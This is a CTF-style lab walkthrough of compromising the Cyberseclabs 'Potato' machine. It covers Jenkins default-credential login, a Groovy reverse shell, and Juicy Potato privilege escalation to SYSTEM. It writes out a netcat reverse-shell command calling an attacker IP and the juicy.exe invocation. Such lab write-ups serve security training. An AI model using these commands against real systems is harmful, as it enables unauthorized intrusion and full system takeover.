Cyberseclabs Potato Walkthrough !!

YOUTUBE WALKTHROUGH:-





Part 1: Enumeration

Image for post

Nmap Scan shows a few ports open. We couldn’t log into SMB anonymously, so we jump straight to the port 8080 which is running Jenkins.

Image for post

We can see the login page for Jenkins. Before going further into enumeration, I tried a few default credentials and could log in using admin:admin.

Image for post

Part 2: Exploitation

Image for post

The script console mentions that we can execute groovy script on the server. You can find the groovy reverse shell script here.

Image for post

You can change the string host to the IP of your local machine. Once we hit run, we get a shell back on our machine as the user Ben.

Image for post

Part 3 : Post Exploitation

Image for post

We can see that SeImpersonatePrivilege is Enabled. This means we can use the famous Juicy Potato attack. You can read about this attack in detail here. We first transfer the juicy potato binary on our victim machine. You can get it from here. We also transfer nc.exe(Netcat for windows) to the victim machine.

Image for post

Juicy Potato also requires CLSID as an argument. You can find the list of CLSID for your OS version on the github repo of Juicy Potato. Using the ‘systeminfo’ command we can see that the machine is running Windows server 2012.

Next, we create a batch file, having the following contents.

Image for post
echo nc.exe -e cmd.exe 10.10.0.38 1337 > rev.bat

This simply means that when rev.bat is run, it will connect to our local machine using nc.exe .

Now, we use juicy potato. But before that let’s set up a netcat listener on our local machine.

Image for post

Running Juicy potato now,

Image for post
juicy.exe -p c:\Users\ben\rev.bat -t * -l 6666 -c {e60687f7–01a1–40aa-86ac-db1cbf673334}

Here,

  • -p : Program to launch
  • -t : Create Process call.
  • -l : COM Server Listen Porn
  • -c : CLSID as mentioned above. You can use any one from the list till it works.

Once this is completed, we get a shell back on our machine as NT Authority\system.

Image for post

The access and the system flags can be found in the respective user directories.

Comments